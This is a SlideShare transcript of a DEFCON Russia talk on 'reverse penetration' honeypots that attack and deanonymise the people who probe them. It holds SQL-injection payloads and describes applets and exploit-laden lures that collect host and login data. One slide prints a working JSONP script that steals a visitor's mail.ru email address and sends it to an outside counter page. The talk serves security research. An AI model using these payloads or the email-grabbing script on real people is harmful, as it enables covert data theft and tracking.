• Save
Alexey Sintsov. Honeypot that Can Bite: Reverse Penetration.
Upcoming SlideShare
Loading in...5
×
 

Alexey Sintsov. Honeypot that Can Bite: Reverse Penetration.

on

  • 13,446 views

 

Statistics

Views

Total Views
13,446
Views on SlideShare
13,446
Embed Views
0

Actions

Likes
0
Downloads
0
Comments
0

0 Embeds 0

No embeds

Accessibility

Categories

Upload Details

Uploaded via as Microsoft PowerPoint

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Alexey Sintsov. Honeypot that Can Bite: Reverse Penetration. Alexey Sintsov. Honeypot that Can Bite: Reverse Penetration. Presentation Transcript

  • Alexey Sintsov@asintsovDEFCON RUSSIA DC#7812HONEYPOT THAT CAN BITE: REVERSEPENETRATION
  • #WHOAMI• Senior Security Engineer at• Writer at• Ideology and co-organizer of• Co-Founder ofZeroNights
  • #DISCLAIMER• This story is not connected to my EMPLOYER• All LIVE data was got from Q2 2011 – Q3 2012• It was done only for research purposes.• All data was shared with NOBODY.• Thx to Alexey Tyurin (@antyurin)
  • #WHAT IS IT ABOUThoneypot• Attract attacker‟s attention (to HoneyPot)• Get patterns and actions from an attacker behaviorThen Operator can understand what kind of attacker wehave, what he can do in the future and etc. After that we canTake some „preventative‟ actions.Example 1. Bot search for PHP LFI bug in PMADef. actions:1) Do we have PMA?2) Are our PMA installation accessible fromthe Internet?3) Bug fixed?// but the same we can get from IDS…Example 2. SQLi attempt. Dumping hashes.Def. actions:1) What kind of SQLi he tried to exploit –let‟s check our web-apps forsame SQLi patterns2) Check hashes in our databases – is itsalted?Do we have hashes at all? (orplain text?)3) Check access to tables , is it possible toget access by using „web‟ account?
  • #WHAT IS IT ABOUTclassic…IDS AlertSQLi attempt in some .phpIs it vulnerable?What attackerdid?Log/trafficanalysisSrc analysis/manualvalidationWho is theattacker?- Was he looking forsomething special?- Is he going tocomeback?- How we should be prepared?Deploy the Incident Response Team© InfoSecReactionsBy @windsheep_
  • #WHOIS THE ATTACKERWhiteHats?
  • #WHOIS THE ATTACKERWhy?I do not care, main task – fix the bug!vs.It‟s interesting, I want to track him!
  • #WHOIS THE ATTACKERWho wants to know…• Enterprise- Who is hunting us like that?(oil‟s sector/big R&D)It is always good to know who has started this activity….Because if it is just kids, it is one thing,if government or competitors – another thing.• Government- Track cybercrimes- Track another government… cyber war, blah-blah-blah…- etc …
  • #WHOIS THE ATTACKERIDS/Logs• IP address - TOR/(chain of)Proxy/BOTnet• User-Agent - lolWe have sniffed got nothing…..
  • #HONEYPOTWhat I want?• Fast result: attack or false positive?• Is it a targeted attack? Or just a scan from botnet?• Is it a professional or kiddie• Decloaking the attacker• Track the attacker
  • #Offensive“The only real defence is active defence“© Mao Zedong• Hack your enemy first (aggressive)• Hack your enemy back (defensive)
  • #OffensiveNot new…AV/Security companies - to take down botnet:• Hacking C&C• Hacking chain of BOTs• Hacking Admin‟s workstation© Andrzej Dereszowski, SIGNAL 11, CONFIDence, 2010
  • #OffensiveWe can do more…“Replay back” – answer with the same exploit back to the source:• SSH Brute force attack- if the source has SSH service- replay with the same login/pass-- attacker has already changed password on pwned box• PHP/Perl/Ruby web attacks- if the source has HTTP service- replay back with same URI/payloadIt is against BOTs, and will not work against real attacker.
  • #OffensiveWWW• Is it (the attacker) HUMAN?• Is he using well-know application (browser/plugins)?• Can we EXPLOIT it?Classical ExploitPACK?
  • #HoneypotSkills?Bug  Vulnerability  Exploit  AttackCan be found automaticallySHOULD be found during manual testsSHOULD be executed by the attackerwith browser!Attacker’s level of skills• Low• Medium• High!• Dangerous, we aredoomed!!!11
  • #HoneypotTrap• DIRBuster attack, give them /admin/admin.phpBut what is the password?// We can detect bruteforce attacks…• /admin/help.php?id=1 <--SQL InjectionGet password for admin.php• Login with stolen password to /admin/admin.php• Attack complete!
  • #HoneypotBlind SQL Injection (SQLite)„ - 500 Error.This is a bug„/**/AND/**/ „1‟ /**/like„1‟--- 200.This is a vulnerability„union/**/select(CASE/**/WHEN/**/sqlite_version()like3.%THEN/**/select(1)from(lololo)ELSE‟BHEU13‟END)- 200/500.This is an exploitSkill-O-MeterAdditional to Skill-O-Metr• Filtered Symbols, like „space‟• WAF with small „holes‟• etc, like CTF tasks or hackquest…
  • #HoneypotAttack„union/**/select(CASE/**/WHEN(select/**/password/**/from/**/users/**/where/**/user=„admin‟and/**/password/**/like/‟a%‟)THEN/**/select(1)from(lololo)ELSE‟PHDays13‟END)SQLite supports triggers…
  • #Honeypot…can bite!• For each step we can get:o Human/automated attack (Skill-O-Meter)o The malicious intention of an attacker WhiteHat will finish after finding a SQLi vulnerability. He will not attemptto get access to forbidden part (admin.php)! Ok, ok… even if he got access to admin.php he do not try to get „secret.pdf‟ =)• On each step we can bite…o On „attack step‟ we can counterattack…
  • #CounterattackWhat we can?• Attack his browser/plugins• 1day/0day exploits• Social engineering• Evil Java applet/ActiveX (GUI for administration…)• Honeytokens• Attack his env. using a browser.• Third party services (web-mail/social networks/etc)• Local env. (localhost/dsl-router)
  • #Social EngineeringHoneytokens• PDF file with secret information (and with exploit…)• EXE file with secret application (fat client for SCADA…)• etc….
  • #Backdoor… ?No – “detective”• Get jpg/txt/doc files from FS• Get config files (VPN)• Get BSSIDs• Get network/domain configuration• Get traceroute to us• Get DNS to us• Get camera-shot, mic recording• etc…
  • #Target• Reverse DNS channel• ipconfig• tracert• Domain name• Login name• …• DO NOT COLLECT PERSONAL INFO• DO NOT GET ANY DATA FROM HDD• REMOTE CONTROL DISABLED
  • #ResultsGET requests logIt can be WEB proxy or TOR exit point…Data from attacker’s PC
  • #ResultsReal logins – second namesReal host-names and domainsReal ISP, IP addresses
  • #ResultsWrite-up about First DCG meeting in Russia…habrahabr.ru  Most technical Russian IT community…Comments…“ If someone wants invite: ‘ or 1=1– “
  • #Hello “Red May” 2011GET requests logNo success with SE or reverse penetration… I am lucky…
  • #UnexpectedGET requests logOne beautifulEx-USSR republic…Nothing special…Damn! Special-Super-Secret-Serviceof beautiful ex-USSR republic…Looks like „service‟ username, notpersonal… may be it was compromised?
  • #More drama… few hours latter, another intrusion to DCG web-site… from same ex-USSR republic, same city….… but another subnet… and again – “reverse penetration”Known nickname, you can Google him as know hacker form this ex-USSR republic..may be he is working for this Secret Service… or compromise this host and use as intermediate…
  • #Results• Whitehat‟s companies – have tested our Applet!• Independent whitehat researchers…• Backdoored government WS….• Script kiddies…
  • #ConclusionIt works!• We got real usernames of those who did not use VMware/and middle hosts• We got real source for those who use VMware/TOR/Proxy and did not use middle hosts• We got intermediate hosts, but we can detect it, end got• We got configured DNS server address• And we got it automatically…The same results possible for honeytoken/exploit-back techniques…SE: Attacker is not expecting back-attack!
  • #ButSome attackers are careful//@ahack_ru had known about Honeypot and Java applet and did not run it…but he was busted anyway!
  • #Can we attack 3rd party services?If user is authenticated on others servicesHoneyPotAttackerSocialNetwork• Attack begins• CSRF/XSS attack…• Callback with ID….• Proxy/TOR/VPN – it is not about network!• Works only vs. script-kiddies and whitehats
  • #Linkedin
  • #Yandex JSONP
  • #mail.ru JSONPHack 1: SSLHack 2: <iframesrc=“data:…By Egor Homakov
  • document.write("<iframe src=data:text/html,<html><body><script>var sss = document.createElement("script");sss.src=“http://swa.mail.ru/cgi-bin/counters?JSONP_call=PortalHeadlineJSONPCallback&132417612";function PortalHeadlineJSONPCallback(objFromMail){var arr1=objFromMail["data"];var i = new Image();i.src = "http://defcon-russia.ru/counter.php?"+arr1["email"];document.body.appendChild(i);};document.body.appendChild(sss);</script></body></html>>");#mail.ru exploit
  • #Results
  • #ConclusionIt works!• We got real emails• We got real names• We can do correlation between two e-mail addressesand Java Applet response• And we got it automatically…
  • #ConclusionStats!• SQLi attacks - 484 (~1.2 years)• Applet strikes - 52 (~1.2 years)• Mail grabs - 16 (6 month)~ 17% success
  • #ConclusionPublic announcements ofDC RusFirstmeetingSecondmeetingSixth meetingannouncement,pre-Zeronights era
  • #ConclusionEverybody likes graphics =)
  • #MoarrrrrrrrrLocal env. can be attacked!• Anti DNS pinning / DNS rebinding• XXXSS by Samy Kamkar (Getting BSSIDs…)• CSRF/XSS on any local resources….• There can be million techniques and tricks for that…
  • #SE – Custom softwareAnti-CybercrimeLoginDetectfraud/hackattemptClassicActiveX/JavaBackdooredActiveX/JavaWork…Error/Meintance
  • #SE – Custom softwareGovernment level• SCADA• Army systems• FSB/KGB/CIA/MI6/…• etc..
  • #SE – Custom softwareНаши поделки?
  • #Conclusion• Counterattack can work…• Whitehats are LESS carful when testing something…• ????• Moral/Legal
  • #FINalex.sintsov@gmail.com @asintsov